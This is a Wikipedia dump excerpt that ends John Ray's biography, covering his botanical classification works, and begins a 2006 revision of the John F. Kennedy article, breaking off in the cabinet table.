In 1667 Ray was elected Fellow of the [[Royal Society]], and in 1669 he published in conjunction with Willughby his first paper in the Philosophical Transactions on ''Experiments concerning the Motion of Sap in Trees''. They demonstrated the ascent of the sap through the wood of the tree, and supposed the sap to precipitate a kind of white coagulum or jelly, which may be well conceived to be the part which every year between bark and tree turns to wood and of which the leaves and fruits are made. Immediately after his admission into the Royal Society he was induced by Bishop [[John Wilkins]] to translate his ''Real Character'' into Latin, and it seems he actually completed a translation, which, however, remained in manuscript; his ''Methodus plantarum nova'' was in fact undertaken as a part of Wilkins's great classificatory scheme.

In [[1673]] Ray married Margaret Oakley of [[Launton]]; in 1676 he went to [[Sutton Coldfield]], and in 1677 to Falborne Hall in [[Essex]]. Finally, in 1679, he removed to Black Notley, where he afterwards remained. His life there was quiet and uneventful, although he had poor health, including chronic sores. He occupied himself in writing books and in keeping up a wide scientific correspondence, and lived, in spite of his infirmities, to the age of seventy-six, dying at Black Notley on [[17 January]], 1705. The [[Ray Society]], for the publication of works on natural history, was founded in his honor in [[1844]].

== Works ==
Ray's first book, the ''Catalogus plantarum circa Cantabrigiam nascentium'' (1660, followed by appendices in 1663 and 1685), was written in conjunction with his ''amicissimus et individuus comes'', [[John Nid]]. The 626 plants are listed alphabetically, but a system of classification differing little from [[Caspar Bauhin]]'s is sketched at the end of the book; and the notes contain many references to other parts of natural history. The locations of the plants are minutely described; and Cambridge students still gather some of their rarer plants in the copses or chalk-pits where he found them. The book shows signs of his indebtedness to [[Joachim Jung]] of [[Hamburg]], who had died in 1657, leaving his writings unpublished; but a manuscript copy of some of them was sent to Ray by [[Samuel Hartlib]] in 1660. Jung invented or gave precision to many technical terms which Ray and others at once made use of in their descriptions, and which are now classical; and his notions of what constitutes a specific distinction and what characters are valueless as such seem to have been adopted with little change by Ray. The first two editions of the ''Catalogus plantarum Angliae'' (1670, 1677) were likewise arranged alphabetically; but in the ''Synopsis stirpium rum'' (1690, 1696, also re-edited by Dillenius, 1724, and by Hill, 1760) Ray applied the scheme of classification which he had by that time elaborated in the ''Methodus'' and the ''Historia plantarum''. The ''Methodus plantarum nova'' (1682) was largely based on the works of [[Caesalpinus]] and Jung, and still more on that of [[Robert Morison]] of Oxford. The greatest merit of this book is the use of the number of [[cotyledons]] as a basis of classification; though it must be remembered that the difference between the monocotyledonous and dicotyledonous embryo was detected by [[Nehemiah Grew]]. After dividing plants into flowerless and flowering, Ray says:

&lt;blockquote&gt;Floriferas dividemus in Dicotyledones. auarum semina sata binis foliis anomalis, seminalibus dictis, quae cotyledonorum usum praestant, e terra exeunt, yel in binos saltem lobos dividuntur, quamvis eos supra terrem foliorum specie non efferunt; et Monocotyledones, quae nec folia bina seminalia efferunt nec lobos binos condunt. Haec divisio ad arbores etiam extendi potest; siquidem Palmae et congeneres hoc respectu eodem modo a reliquis arboribus differunt quo Monocotyledones a reliquis herbis.&lt;/blockquote&gt;

But a serious blemish was his persistent separation of trees from herbs, a distinction whose falsity had been exposed by Jung and others, but to which Ray tried to give scientific foundation by denying the existence of buds in the latter. At this time he based his classification, like Caesalpinus, chiefly upon the fruit, and he distinguished several natural groups, such as the grasses, ''[[Labiatae]]'', ''[[Umbelliferae]]'' and ''[[Papilionaceae]]''. 

The classification of the ''Methodus'' was extended and improved in the ''Historia plantarum'', but was disfigured by a large class of Anomalae, to include forms that the other orders did not easily admit, and by the separation of the cereals from other grasses. This vast book enumerates and describes all the plants known to the author or described by his predecessors, to the number, according to Adanson, of 18,625 species. In the first volume a chapter ''De plantis in genere'' contains an account of all the anatomical and physiological knowledge of the time regarding plants, with the recent speculations and discoveries of Caesalpinus, Grew, Malpighi and Jung; and Cuvier and Dupetit Thouars, declaring that it was this chapter which gave acceptance and authority to these authors works, say that the best monument that could be erected to the memory of Ray would be the republication of this part of his work separately. The ''Stirpium Europaearum extra Britannias nascentium Sylloge'' (1694) is a much amplified edition of the catalogue of plants collected on his own European tour. In the preface to this book he first clearly admitted the doctrine of the sexuality of plants, which, however, he had no share in establishing. Here also begins his long controversy with Rivinus ([[Augustus Quirinus Bachmann]]) which chiefly turned upon Ray's indefensible separation of ligneous, from herbaceous plants, and also upon what he conceived to be the misleading reliance that Rivinus placed on the characters of the corolla. But in the second edition of his ''Methodus'' (1703) he followed Rivinus and [[Joseph Pitton de Tournefort]] in taking the flower instead of the fruit as his basis of classification: he was no longer a fructicist but a corollist.

Besides editing his friend Willughby's books, Ray wrote several zoological works of his own, including ''Synopsis methodica Animalium Quadrupedum et Serpentini Generis'' (1693), that is to say, both mammals and reptiles, and ''Synopsis methodica Aviusn et Piscium'' (1713); the latter was published posthumously, as was also the more important ''Historia Insectorum'', which embodied a great mass of Willughbys notes.

Most of Ray's minor works were the outcome of his faculty for carefully amassing facts; for instance, his ''Collection of English Proverbs'' (1670), his ''Collection of Out-of-the-way English Words'' (1674), his ''Collection of Curious Travels and Voyages'' (1693), and his ''Dictionariolum trilingue'' (1675, 5th edition as Nomenclator classicus, 1706). The last was written for the use of Willughby's sons, his pupils; it passed through many edtions, and is still useful for its careful identifications of plants and animals mentioned by Greek and Latin writers. But Ray's influence and reputation have depended largely upon his two books entitled ''The Wisdom of God manifested in the Works of the Creation'' (1691), and ''Miscellaneous Discourses concerning the Dissolution and Changes of the World'' (1692). The latter includes three essays on ''The Primitive Chaos and Creation of the World'', ''The General Deluge, its Causes and Effects'', and ''The Dissolution of the World and Future Conflagrations''. The germ of these works was contained in sermons preached long before in Cambridge. Both books obtained immediate popularity, and the former, at least, was translated into several languages. In ''The Wisdom of God'' Ray recites innumerable examples of the perfection of organic mechanism, the multitude and variety of living creatures, the minuteness and usefulness of their parts, and many, if not most, of the familiar examples of purposive adaptation and design in nature were suggested by him, such as the structure of the eye, the hollowness of the bones, the camel's stomach and the hedgehog's armour.

== Legacy ==
In [[1986]], to mark the 300th anniversary of the publication of Ray's ''Historia Plantarum'', there was a celebration of Ray's legacy in Braintree. A &quot;John Ray Gallery&quot; was opened in the Braintree Museum. The scientific society at his old college is named the &quot;John Ray Society&quot; after him.

The standard [[Binomial nomenclature#Authorship in scientific names|botanical author abbreviation]] '''Ray''' is applied to [[species]] he described.

{{wikiquote}}
==References==
*{{1911}}

==External links==
* [http://www.jri.org.uk/ The John Ray Initiative: connecting Environment and Christianity]

[[Category:1627 births|Ray, John]]
[[Category:1705 deaths|Ray, John]]
[[Category:Algologists|Ray, John]]
[[Category:Alumni of St. Catharine's College, Cambridge|Ray, John]]
[[Category:Alumni of Trinity College, Cambridge|Ray, John]]
[[Category:Botanists with author abbreviations|Ray, John]]
[[Category:Bryologists|Ray, John]]
[[Category:English botanists|Ray, John]]
[[Category:Naturalists|Ray, John]]
[[Category:Paleobotanists|Ray, John]]
[[Category:Pre-Linnaean botanists|Ray, John]]
[[Category:Fellows of the Royal Society|Ray, John]]
[[Category:Christians in science|Ray, John]]

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  <page>
    <title>John F. Kennedy</title>
    <id>15598</id>
    <revision>
      <id>42101476</id>
      <timestamp>2006-03-03T21:08:02Z</timestamp>
      <contributor>
        <username>Harro5</username>
        <id>211795</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.64.225.232|69.64.225.232]] ([[User talk:69.64.225.232|talk]]) to last version by Pollinator</comment>
      <text xml:space="preserve">:''For other uses, see [[John Kennedy (disambiguation)]]''
{{Infobox_President | name=President John Fitzgerald Kennedy		
| nationality=american		
| image=JFKofficial.jpg		
| order=35th President		
| term_start=[[January 20]], [[1961]]		
| term_end=[[November 22]], [[1963]]		
| predecessor=[[Dwight D. Eisenhower]]		
| successor=[[Lyndon B. Johnson]]		
| birth_date=[[May 29]], [[1917]]		
| birth_place=[[Brookline, Massachusetts]]		
| death_date=[[November 22]], [[1963]]		
| death_place=[[Dallas, Texas|Dallas]], [[Texas]]		
| spouse=[[Jacqueline Kennedy Onassis|Jacqueline Lee Bouvier Kennedy]]		
| party=[[Democratic Party (United States)|Democratic]]		
| vicepresident=[[Lyndon B. Johnson]]		
| buried=[[Arlington National Cemetery]]		
}}		
'''John Fitzgerald Kennedy''' ([[May 29]], [[1917]] &amp;ndash; [[November 22]], [[1963]]), often referred to as '''John F. Kennedy''', '''JFK''', or '''Jack Kennedy''', was the 35th [[President of the United States]]. He served from 1961 until [[John F. Kennedy assassination|his assassination]] in 1963. A member of the prominent [[Kennedy family|Kennedy political family]], he is considered an icon of [[American liberalism]]. During [[World War II]], he served as a naval lieutenant in the Pacific theatre and was cited for exceptional bravery for the rescue of his men. Kennedy is the youngest person ever to have been elected president of the United States, at the age of 43. ([[Theodore Roosevelt]] was the youngest ever to ''serve'' as President of the United States, as he succeeded to the presidency at age 42, following President [[William McKinley|McKinley's]] assassination.)		
 		
Major events during his presidency included the failed [[Bay of Pigs invasion]], the [[Cuban Missile Crisis]], the failed prevention of the Israeli nuclear weapons program, the failed prevention of the Chinese nuclear weapons program, the building of the [[Berlin Wall]], the [[Space Race]], early events of the [[Vietnam War]], and the [[American Civil Rights Movement]]. In [[Historical rankings of U.S. Presidents|rankings of U.S. presidents]], historians usually grade Kennedy above average, but among the general public he is often regarded as among the greatest presidents.		
 		
Kennedy is also the first and only [[Roman Catholicism in the United States|Roman Catholic]] ever to become President, the first president to serve who was born in the [[20th century]], the last to die while still in office, the last [[Democratic Party (United States)|Democrat]] from the [[Northern United States|North]] to be elected, and the last to be elected while serving in the [[United States Senate|U.S. Senate]].		
Kennedy died the youngest of any U.S. president, at 46 years and 177 days, when he was assassinated on [[November 22]], [[1963]]. The assassination is often considered a defining moment in U.S. history because of its traumatic impact on the entire nation, its impact on the political history of the ensuing decades, and because of Kennedy's elevation as an [[icon]] for a new generation of Americans and American aspirations.		
 		
==Early Life==	
	
Kennedy was born in [[Brookline, Massachusetts|Brookline]], [[Massachusetts]], the son of [[Joseph P. Kennedy, Sr.]] and [[Rose Fitzgerald Kennedy|Rose Fitzgerald]]. 		
 		
Years later, it would be revealed that Kennedy had been diagnosed as a young man with [[Addison's Disease]], a rare endocrine disorder. This and other medical disorders were kept from the press, and the public, throughout Kennedy's life.		
 		
Kennedy attended [[Edward Devotion School]] for four years ([[Kindergarten]] in [[1922]] to Third Grade [http://www.jfklibrary.org/fa_edward_devotion_school.html]) and then [[Choate Rosemary Hall]] in [[Connecticut]], one of the country's most elite private boarding schools, from which he graduated in 1935. That fall (Sept 25, 1935) he sailed from New York to London with his parents and his sister [[Kathleen Cavendish, Marchioness of Hartington|Kathleen]]. There he enrolled at the [[London School of Economics]] with the intention of studying for a year ([[political economy]] under the tutelage of Professor [[Harold Laski]]) but an illness hospitalized him shortly after his enrollment. His father insisted he return to the US. Jack sailed from London for New York on Oct 26, 1935. Later that fall of 1935, he enrolled in [[Princeton University]], but was forced to leave after contracting [[jaundice]]. The next fall, he began attending [[Harvard College]]. Kennedy traveled to [[Europe]] twice during his years at Harvard, visiting the [[United Kingdom]], while his father was serving as [[Ambassador]] to the [[Court of St. James's]]. In 1937, Kennedy was prescribed [[steroid]]s to control his [[colitis]], which only heightened his medical problems causing him to develop [[osteoporosis]] of the lower [[lumbar spine]] [http://www.npr.org/templates/story/story.php?storyId=1276266]. 		
 		
In 1940 Kennedy wrote his honors thesis, entitled &quot;[[Why England Slept]]&quot; on the British portion of the [[Munich Agreement]]. He initially intended for the thesis to be for college only, but his dad encouraged him to publish the book. He graduated ''[[Latin honors|cum laude]]'' from Harvard with a degree in [[international affairs]] in June 1940. His thesis was published in 1940 [http://www.questia.com/PM.qst?a=o&amp;d=24144268] and became a [[best-seller]].

==Military service==		
In the spring of 1941, Kennedy volunteered for the [[United States Army|U.S. Army]], but was rejected, mainly because of his troublesome back. However, the [[United States Navy|U.S. Navy]] accepted him in September of that year with the influence of the director of the [[Office of Naval Intelligence]] (ONI), a former naval [[attaché]] to Ambassador Joseph Kennedy. As an [[Ensign (rank)|ensign]], he served in the office that supplied bulletins and briefing information for the [[United States Secretary of the Navy|Secretary of the Navy]]. It was during this assignment that the [[attack on Pearl Harbor]] occurred. It was also during this time that he began a romantic relationship with [[Inga Arvad]], a suspected [[Nazi]] spy. The relationship ended, however, when Kennedy was transferred to the ONI field office in [[South Carolina]]. He attended the Naval Reserve Officers Training School and Motor Torpedo Boat Squadron Training Center before being assigned for duty in [[Panama]] and eventually the [[Pacific theater]]. He participated in various commands in the Pacific theater and earned the rank of [[lieutenant]], commanding a [[patrol torpedo boat]] (''PT boat'').[http://www.history.navy.mil/faqs/faq60-2.htm]
 		
[[Image:JFKPT109.jpg|thumb|right|200px|John on his navy patrol boat, [[PT 109]].]]		
On [[August 2]], [[1943]], Kennedy's boat, the ''[[PT-109]]'', was taking part in a night-time military raid near [[New Georgia]] (near the [[Solomon Islands]]) when it was rammed by a [[Japan]]ese [[destroyer]]. Kennedy was thrown across the deck, injuring his already troubled back. Still, Kennedy somehow towed a wounded man three miles through the ocean, arriving on an island where his crew was subsequently rescued. Kennedy said that he blacked out for periods of time during the ordeal. For these actions, Kennedy received the [[Navy and Marine Corps Medal]], awarded for heroism not involving conflict with the enemy under the following citation:		
 		
:For heroism the rescue of 3 men following the ramming and sinking of his motor torpedo boat while attempting a torpedo attack on a Japanese destroyer in the Solomon Islands area on the night of Aug 12, 1943. Lt. KENNEDY, Capt. of the boat, directed the rescue of the crew and personally rescued 3 men, one of whom was seriously injured. During the following 6 days, he succeeded in getting his crew ashore, and after swimming many hours attempting to secure aid and food, finally effected the rescue of the men. His courage, endurance and excellent leadership contributed to the saving of several lives and was in keeping with the highest traditions of the United States Naval Service.		
 		
Kennedy's other decorations from the Second World War include the [[Purple Heart]], [[Asiatic-Pacific Campaign Medal]], and the [[World War II Victory Medal]]. He was honorably discharged in early 1945, just a few months before Japan surrendered.		
 		
In May 2002, a [[National Geographic Society|National Geographic]] expedition found what is believed to be the wreckage of the ''[[PT-109]]'' in the Solomon Islands [http://news.nationalgeographic.com/news/2002/07/0709_020710_kennedyPT109.html].

==Early political career==		
[[Image:JFKSENATE.jpg|thumb|left|200px|A young Senator Kennedy in 1953.]]		
After World War II, Kennedy entered politics (partly to fill the void of his popular brother, [[Joseph P. Kennedy, Jr.]], on whom his family had pinned many of their hopes but who was killed in the war). In 1946, [[United States House of Representatives|Representative]] [[James Michael Curley]] vacated his seat in an overwhelmingly Democratic district to become mayor of [[Boston, Massachusetts|Boston]] and Kennedy ran for that seat, beating his Republican opponent by a large margin. He was reelected twice, but had a mixed voting record, often diverging from President [[Harry S. Truman]] and the rest of the Democratic Party.		
&lt;!-- no source
[[Image:jfkatbcin56.jpg|right|thumb|Kennedy gives his [[Jesuit Ivy]] address at the 1956 [[Boston College]] commencement.]] --&gt;

Kennedy married [[Jacqueline Lee Bouvier]] on [[September 12]], [[1953]]. He underwent several spinal operations in the two following years, nearly dying (receiving the Catholic faith's [[Anointing of the Sick|&quot;last rites&quot;]] four times during his life), and was often absent from the Senate. During this period, he published ''[[Profiles in Courage]]'', highlighting eight instances in which U.S. Senators risked their careers by standing by their personal beliefs. The book was awarded the 1957 [[Pulitzer Prize]] for Biography.

==McCarthy's support from the Kennedy family==		
After 1950, Senator [[Joseph McCarthy]] was the nation's most prominent [[Irish-American]] along with the [[Kennedy family]]. Even before becoming famous, McCarthy forged a close friendship with [[Joseph P. Kennedy]], who contributed thousands of dollars to McCarthy, and became one of his major supporters. Joseph Kennedy often brought him to Hyannis Port as a weekend house guest in the late 1940s. McCarthy at one point dated Patricia Kennedy, JFK's sister. In the Senate race of 1952, Joseph allegedly worked a deal so that McCarthy, a Republican, would not make campaign speeches for the GOP ticket in Massachusetts. In return, John F. Kennedy would not give any anti-McCarthy speeches that his liberal supporters wanted to hear. In 1953, at the father's urging, McCarthy hired [[Robert Kennedy]] (age 27) as a senior staff member. In 1954, when the Senate was threatening to condemn McCarthy, Senator Kennedy faced a dilemma. &quot;How could I demand that Joe McCarthy be censured for things he did when my own brother was on his staff?&quot; asked Kennedy. By 1954, however, Robert Kennedy and McCarthy's chief aide, [[Roy Cohn]], had had a falling out and Robert no longer worked for McCarthy. John Kennedy had a speech drafted calling for the censure of McCarthy, but he never delivered it. When the Senate voted to censure McCarthy on December 2, 1954, Senator Kennedy was in the hospital and never indicated then or later how he would vote.		
 		
==Senator, 1953-60==		
In [[U.S. Senate election, 1952|1952]], Kennedy ran for the [[United States Senate|Senate]] with the slogan &quot;Kennedy will do more for Massachusetts.&quot; In an [[upset]] victory, he defeated Republican incumbent [[Henry Cabot Lodge, Jr.]] by a margin of about 70,000 votes. 		
 		
In 1956, Kennedy campaigned for the [[Vice President of the United States|Vice Presidential]] nomination at the [[Democratic National Convention]], but convention delegates selected [[Tennessee]] Senator [[Estes Kefauver]] instead. However, Kennedy's efforts helped bolster his reputation within the party.		
 		
An example of Kennedy's political suppleness prior to the 1960 campaign was his handling of the [[Civil Rights Act of 1957]]. He voted for final passage, while earlier voting for the &quot;jury trial amendment&quot;, which some people feel rendered the Act toothless. He was able to say to both sides that he supported them.		
 		
In 1958, Kennedy published the first edition of his book ''[[A Nation of Immigrants]]'', closely following his involvement in the Displaced Persons Act and the 1957 bill to bring families together.

==[[1960 presidential election]]==		
[[Image:Jfknixon.jpg|thumb|right|175px|Kennedy and Richard Nixon shake hands before one of the 1960 televised debates.]]		
In 1960, Kennedy declared his intent to run for President of the United States. In the Democratic [[primary election]], he faced challenges from Senator [[Hubert H. Humphrey]] of [[Minnesota]], Senator [[Lyndon B. Johnson]] of [[Texas]], and [[Adlai Stevenson]], the Democratic nominee in 1952 and 1956 who was not officially running but was a favorite write-in candidate. Kennedy won key primaries like [[Wisconsin]] and [[West Virginia]]. In the latter state, Kennedy made a visit to a coal mine, and talked to the mine workers to win their support, as most people in that [[conservative]], mostly [[Protestant]] state were deeply suspicious about Kennedy being a Catholic. Kennedy emerged as a universally acceptable candidate for the party after that victory.		
 		
On [[July 13]], [[1960]] the Democratic Party nominated Kennedy as its candidate for president. Kennedy asked Johnson to be his Vice Presidential candidate, despite clashes between the two during the primary elections. He needed Johnson's strength in the South to win what was considered likely to be the closest election since 1916. Major issues included how to get the economy moving again, Kennedy's Catholicism, [[Cuba]], and whether or not both the Soviet space and missile programs had surpassed those of the U.S. To allay fears that his Roman Catholicism would impact his decision making, he said in a famous speech in [[Houston, Texas]] (to the Greater Houston Ministerial Association), on [[September 12]], [[1960]], &quot;I am not the Catholic candidate for President. I am the Democratic Party's candidate for President who happens also to be a Catholic. I do not speak for my Church on public matters  and the Church does not speak for me.&quot; [http://www.americanrhetoric.com/speeches/johnfkennedyhoustonministerialspeech.html] {{seealso|Alfred E. Smith}}		
 		
In September and October, Kennedy debated Republican candidate Vice President [[Richard Nixon]] in the first televised [[U.S. presidential election debates|US presidential debates]]. During the debates, Nixon looked tense, sweaty, and unshaven compared to Kennedy's composure and handsomeness, leading many to deem Kennedy the winner, although historians consider the two evenly matched as orators. Interestingly, many who listened on radio thought Nixon more impressive in the debate. [http://www.museum.tv/archives/etv/K/htmlK/kennedy-nixon/kennedy-nixon.htm] The debates are considered a political landmark: the point at which the medium of [[television]] played an important role in politics and looking presentable on camera became one of the important considerations for presidential and other political candidates. 		
 		
In the general [[U.S. presidential election, 1960|election]] on [[November 8]], [[1960]], Kennedy beat Nixon in a very close race. There were serious allegations that [[Electoral fraud|vote fraud]] in [[Texas]] and [[Illinois]] had cost Nixon the presidency[http://www.leanleft.com/archives/cat_reviews.html]. There were unusually large margins in [[Richard J. Daley|Richard Daley]]'s Chicago &amp;mdash; which were announced after the rest of the vote in Illinois. The only change after the official recount was a win for Kennedy in [[Hawaii]].

==Presidency 1961-1963 ==		
[[Image:Jfkspeech.jpg|thumb|right|175px|Kennedy gives his memorable [[inauguration address]]]]	
===Policies===	
Kennedy was sworn in as the 35th [[President]] on [[January 20]], [[1961]]. In his [[inaugural address]] he spoke of the need for all Americans to be active citizens. &quot;Ask not what your country can do for you, ask what you can do for your country&quot;, he said. He also asked the nations of the world to join together to fight what he called the &quot;common enemies of man: [[tyranny]], [[poverty]], [[disease]], and [[war]] itself.&quot; [http://www.historyplace.com/speeches/jfk-inaug.htm]		
 		
===Foreign policies===		
On [[April 17]], [[1961]], Kennedy gave orders allowing a previously planned invasion of Cuba to proceed. With support from the [[CIA]], in what is known as the [[Bay of Pigs Invasion]], 1,500 U.S.trained Cuban exiles, called &quot;Brigade 2506&quot; returned to the island in the hope of deposing [[Fidel Castro|Castro]], but the [[CIA]] had underestimated popular support for Castro, made several mistakes in devising and carrying out the plan, and the exiles did not rally the Cuban people as expected. By [[April 19]] Castro's government had killed or captured most of the invading exiles and Kennedy was forced to negotiate for the release of the 1,189 survivors. After 20 months, Cuba released the captured exiles in exchange for $53 million worth of food and medicine. The incident was a major embarrassment for Kennedy, but he took full responsibility. Historians in 2006 ranked the debacle as the #8 worst presidential mistake ever made.[http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/20060218/presidential_errors_060218/20060218?hub=World]
	
On [[August 13]], [[1961]], the [[East German]] government began construction of the [[Berlin Wall]] separating East Berlin from the Western sector of the city, due to the American military presence in [[West Berlin]]. Kennedy claimed this action was in violation of the &quot;[[Four Powers]]&quot; agreements. Kennedy initiated no action to have it dismantled, and did little to reverse or halt the eventual extension of this barrier to a length of 155 km.		
[[Image:Zahir_shah_and_kenedy.gif|thumb|King of [[Afghanistan]] [[Zahir Shah]] (right) and US President John F. Kennedy (left)]]		
 		
The [[Cuban Missile Crisis]] began on [[October 14]], [[1962]] when American [[Lockheed U-2|U-2]] [[spy plane]]s took photographs of a [[Soviet Union|Soviet]] intermediate range ballistic missile site under construction in Cuba. Kennedy faced a dire dilemma: if the U.S. attacked the sites it might have led to [[nuclear war]] with the [[U.S.S.R.]] If the U.S. did nothing, it would endure the perpetual threat of nuclear weapons within its region, in such close proximity as to make retaliation for a preemptive launch very unlikely. Another fear was that the U.S. would appear to the world as weak in its own hemisphere. Many military officials and cabinet members pressed for an air assault on the missile sites but Kennedy ordered a naval [[quarantine]] in which the U.S. Navy inspected all ships. He began negotiations with the Soviets and a week later, he and Soviet Premier [[Nikita Khrushchev]] reached an agreement. Khrushchev agreed to remove the missiles while the U.S. publicly promised never to invade Cuba, and also secretly promised to remove U.S. ballistic missiles from [[Turkey]] and [[Italy]] within six months. Following this incident, which brought the world closer to nuclear war than at any point before or since, Kennedy was more cautious in confronting the Soviet Union. 		
 		
[[Image:Kennedyarms.png|thumb|left|200px|The [[coat of arms]] of John F Kennedy blazoned ''Sable three helmets in profile Or within a bordure per saltire Gules and Ermine''.]]		
 		


Arguing that &quot;those who make peaceful revolution impossible, make violent revolution inevitable&quot;, Kennedy sought to contain [[communism]] in [[Latin America]], by establishing the [[Alliance for Progress]], which sent aid to troubled countries in the region and sought greater [[human rights]] standards in the region. He worked closely with [[Puerto Rican]] [[Governor of Puerto Rico|Governor]] [[Luis Muñoz Marín]] for the development of the Alliance of Progress, as well as developments on the autonomy of the Commonwealth of [[Puerto Rico]].		
 		
Another example of Kennedy's belief in the ability of non-military power to improve the world was the creation of the [[Peace Corps]], one of his first acts as president. Through this program, which still exists today, Americans volunteered to help underdeveloped nations in areas such as [[education]], [[farming]], [[health care]], and [[construction]].		
Kennedy also used limited military action to contain the spread of communism. Determined to stand firm against the spread of communism, Kennedy continued the previous administration's policy of political, economic, and military support for the unstable [[South Vietnam|South Vietnamese]] government, which included sending military advisers and U.S. Special Forces to the area. U.S. involvement in the area continually escalated until regular U.S. forces were directly fighting the [[Vietnam War]] in the next administration.		
 		
On [[June 26]], [[1963]] Kennedy visited [[West Berlin]] and gave a public speech criticizing communism. While Kennedy was speaking, some people on the other side of the wall in [[East Berlin]] were applauding Kennedy and showing their distaste for [[Soviet]] control. Kennedy used the construction of the [[Berlin Wall]] as an example of the failures of communism  &quot;[[Freedom]] has many difficulties and [[democracy]] is not perfect, but we have never had to put a wall up to keep our people in.&quot; The speech is known for its famous phrase ''&quot;[[Ich bin ein Berliner]]&quot;''.

Troubled by the long-term dangers of [[radioactive contamination]] and [[Nuclear proliferation|nuclear weapons proliferation]], Kennedy also pushed for the adoption of a Limited or [[Partial Test Ban Treaty]], which prohibited atomic testing on the ground, in the atmosphere, or underwater, but does not prohibit testing underground. The United States, the United Kingdom and the Soviet Union were the initial signatories to the Treaty. Kennedy signed the Treaty into law in August 1963, and believed it to be one of the greatest accomplishments of his administration.		
 		
On the occasion of his visit to [[Ireland]] in 1963, President Kennedy joined with Irish President [[Eamon de Valera]] to form The [[American Irish Foundation]]. The mission of this organization was to foster connections between Americans of Irish descent and the country of their ancestry. Kennedy furthered these connections of cultural solidarity by accepting a grant of [[armorial bearings]] from the [[Chief Herald of Ireland]]. {{see|The Ireland Funds}}

===Domestic policies===		
[[Image:JFKMLK.jpg|thumb|left|200px|JFK in the [[Oval Office]] with various civil rights activists including [[Martin Luther King Jr]]]]		
Kennedy used the term [[New Frontier]] as a label for his domestic programs. It ambitiously promised federal funding for [[education]], [[health care]] for the [[Old age|elderly]], and government intervention to halt the [[recession]]. Kennedy also promised an end to [[racial discrimination]].		
 		
The turbulent end of state-sanctioned racial discrimination was one of the most pressing domestic issues of Kennedy's era. The [[Supreme Court of the United States|Supreme Court]] had ruled in 1954 that [[racial segregation]] in public schools would no longer be permitted. However, there were many schools, especially in southern states, that did not obey this decision. There also remained the practice of segregation on buses, in restaurants, movie theaters, and other public places.		
 		
Kennedy started his fight for civil rights when he appealed to African-American voters during his campaign in 1962. 		
 		
In 1962, [[James Meredith]] tried to enroll at the [[University of Mississippi]], but he was prevented by white students. Kennedy responded by sending some 400 federal marshals and 3000 troops to ensure that Meredith could enroll in his first class.		
 		
Kennedy also assigned [[United States Marshals Service|federal marshals]] to protect the [[Freedom Riders]].		
 		
Thousands of Americans of all races and backgrounds joined Kennedy in protesting racial discrimination. Kennedy supported [[racial integration]] and civil rights, and during the 1960 campaign he telephoned [[Coretta Scott King]], wife of the jailed Rev. [[Martin Luther King Jr.]], which drew much black support to his candidacy. However, as president, Kennedy initially believed the grassroots movement for civil rights would only anger many Southern whites and make it even more difficult to pass civil rights laws through Congress, which was dominated by Southern Democrats, and he distanced himself from it. As a result, many civil rights leaders viewed Kennedy as unsupportive of their efforts. 	It is also notable that Kennedy approved warrantless wiretaps and covert surveillance of King and other civil rights leaders.

On [[June 11]], President Kennedy intervened when the Governor of Alabama, [[George Wallace]], blocked the doorway to the [[University of Alabama]] to stop two black students, [[Vivian Malone]] and [[James Hood]], from enrolling. George Wallace moved aside after being confronted by [[federal marshals]], Deputy Attorney General [[Nicholas Katzenbach]], and the Alabama [[United States National Guard|National Guard]]. That evening Kennedy gave his famous Civil Rights Address on national television and radio, applying the [[Golden Rule (ethics)|golden rule]] to U.S. race relations.[http://www.americanrhetoric.com/speeches/johnfkennedycivilrights.htm] Kennedy proposed what would become the [[Civil Rights Act of 1964]].		
[http://www.mass.gov/statehouse/statues/jfk_landing.htm]		
[http://usinfo.state.gov/usa/infousa/facts/democrac/39.htm]		
 		
Also on the domestic front, in 1963 Kennedy proposed a [[tax reform]] that included income [[tax cuts]], but this was not passed by the Congress until after his death in 1964. It is one of the largest tax cuts in modern U.S. history, surpassing the [[Ronald Reagan|Reagan]] tax cut of 1981.

===Support of space programs===		
[[Image:JFKNASA.jpg|thumb|right|200px|JFK looks at the spacecraft [[Mercury Atlas 6|Friendship 7]], the spacecraft that made three earth orbits, piloted by astronaut [[John Glenn]].]]		
Kennedy was eager for the United States to lead the way in the [[space race]]. [[Soviet Union|Soviet]] [[Prime Minister]] [[Nikita Khrushchev]]'s son [[Sergei Khrushchev|Sergei]] has said that JFK approached his father twice for a 'joint venture' in space exploration  in June 1961 and Autumn 1963. On the first occasion Russia was far ahead of America, and Khrushchev then said 'nyet' (&quot;no&quot;). Kennedy later made a speech at [[Rice University]] in September 1962, in which he said, &quot;no nation which expects to be the leader of other nations can expect to stay behind in this race for space&quot; and &quot;we choose to go to the [[Moon]] in this decade and do the other things, not because they are easy, but because they are hard.&quot;[http://webcast.rice.edu/speeches/19620912kennedy.html]. On the second approach to Khrushchev, the Soviet premier was persuaded that cost sharing was beneficial, and American space technology was forging ahead - the U.S. had launched a [[geostationary orbit|geostationary]] satellite, and Kennedy had asked Congress to approve more than 22 billion dollars for [[Project Apollo]], which had the goal of landing an American man on the Moon before the end of the decade. Khrushchev agreed to a joint venture in Autumn 1963, but JFK died in November before the agreement could be formalised. 		
In 1969, six years after Kennedy's death, the Project Apollo goal was finally realized when [[Neil Armstrong]] and [[Buzz Aldrin]] became the first humans to [[Moon Landing|land on the Moon]].

===Administration and Cabinet===		
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;		
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|		
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''		
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|		
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''John F. Kennedy'''||align=&quot;left&quot;|1961&amp;ndash;1963	
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Lyndon B. Johnson]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|		
|-
|align=&quot;left&quot;|[[United States Secretary of State|State]]||align=&quot;left&quot;|'''[[Dean Rusk]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Treasury]]||align=&quot;left&quot;|'''[[C. Douglas Dillon]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
